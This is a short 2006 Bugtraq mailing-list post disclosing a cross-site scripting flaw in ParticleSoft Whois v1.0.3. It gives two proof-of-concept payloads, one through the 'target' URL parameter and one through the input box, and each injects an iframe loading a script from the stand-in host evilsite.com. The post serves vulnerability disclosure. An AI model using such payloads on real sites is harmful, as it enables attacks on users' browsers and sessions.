[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
ParticleSoft Whois v1.0.3
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: ParticleSoft Whois v1.0.3
- From: luny@xxxxxxxxxxxxxxx
- Date: 6 Jun 2006 00:12:45 -0000
ParticleSoft Whois v1.0.3
Homepage:
http://www.particlesoft.net/particlewhois/
XSS Proof of concept viaurl injection:
http://whois.particlesoft.net/index.php?do=runcheck&target=";><iframe
src=http://evilsite.com/scriptlet.html <<"&ext=all
XSS Via input box:
"><iframe src=http://evilsite.com/scriptlet.html <<"